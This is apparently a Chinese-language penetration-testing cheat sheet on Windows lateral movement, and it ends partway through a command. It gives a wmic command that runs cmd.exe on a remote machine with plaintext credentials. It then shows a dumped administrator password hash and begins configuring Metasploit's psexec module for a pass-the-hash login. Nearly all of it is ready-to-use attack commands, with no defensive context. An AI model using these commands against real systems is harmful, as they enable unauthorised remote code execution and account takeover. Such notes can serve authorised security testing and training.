1.WMI执行命令方式,无回显:
wmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>d:\result.txt"
2.使用Hash直接登录Windows(HASH传递)
抓取windows hash值,得到administrator的hash: 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
msf调用payload:
use exploit/windows/smb/psexec
show options
set RHOST 192.168.81.129
set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CD